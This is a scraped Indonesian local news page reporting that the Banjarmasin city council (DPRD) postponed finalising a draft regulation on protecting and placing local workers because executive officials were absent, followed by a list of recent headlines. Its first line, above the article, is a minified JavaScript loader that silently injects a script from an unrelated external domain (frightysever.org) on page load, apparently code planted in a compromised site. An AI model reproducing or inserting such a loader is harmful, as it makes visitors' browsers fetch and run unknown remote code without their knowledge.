(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

DPRD Banjarmasin Rancang Pengetatan Seleksi Tenaga Kerja Luar Daerah


BANJARMASIN, DPRD Banjarmasin akhirnya menunda penggodokan finalisasi Rancangan Peraturan Daerah (Raperda) tentang Perlindungan dan Penempatan Tenaga Kerja Lokal. Hal ini lantaran pihak eksekutif tidak hadir dalam pembahasan tersebut.

“Khususnya bagian pihak hukum dan perundang-undangan tidak hadir, maka terpaksa kita tunda pembahasannya. Padahal ini sudah materi akhir atau finalisasi,” kata Ketua Panitia Khusus Raperda tersebut Mursyid di gedung DPRD Kota Banjarmasin.

Penggodokan Raperda ini sudah sampai tahap akhir. Sebelumnya, pihak eksekutif telah melakukan konsultasi ke Kementerian Ketenagakerjaan. Dan hasilnya, tidak ada batasan penyerapan tenaga kerja dari luar daerah. Karena jika ada batasan, hal itu bertetangan dengan peraturan kementerian yang sudah ditetapkan. “Karena ini bersifat multinasional, dimanapun tidak ada batasan,” katanya dilansir Antara.

Aturan tersebut lanjutnya, tidak lain untuk mengakomodasi, agar tenaga kerja lokal dapat bersaing dengan tenaga kerja luar daerah. Artinya penyerapan tenaga kerja luar daerah nantinya akan lebih selektif. “Mana saja yang diperlukan, itu yang lebih diutamakan,” katanya.

Dalam Raperda tersebut juga akan ada aturan, bahwa setiap perusahaan terlebih dahulu harus berkoordinasi dengan pihak pemerintah kota dalam hal penyerapan tenaga kerja. Mursyid menambahkan, perlindungan dan penempatan tenaga kerja lokal di Banjarmasin belum dilaksanakan secara optimal. Sehingga perlu ada aturan yang bertujuan membina, mengawasi dan menata sistem ketenagakerjaan lokal di Banjarmasin.

“Di sisi lain kita ingin perekonomian berjalan dengan baik dan menginginkan tenaga kerja lokal di Banjarmasin dapat diserap lebih banyak, agar masalah pengangguran dapat teratasi. Supaya menjadi satu kesatuan, maka kami buat Raperda ini,” jelasnya.(cel/ant)

Reporter : Cel/ant
Editor : Chell

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

33 menit ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

4 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

8 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

23 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

23 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

1 hari ago

This website uses cookies.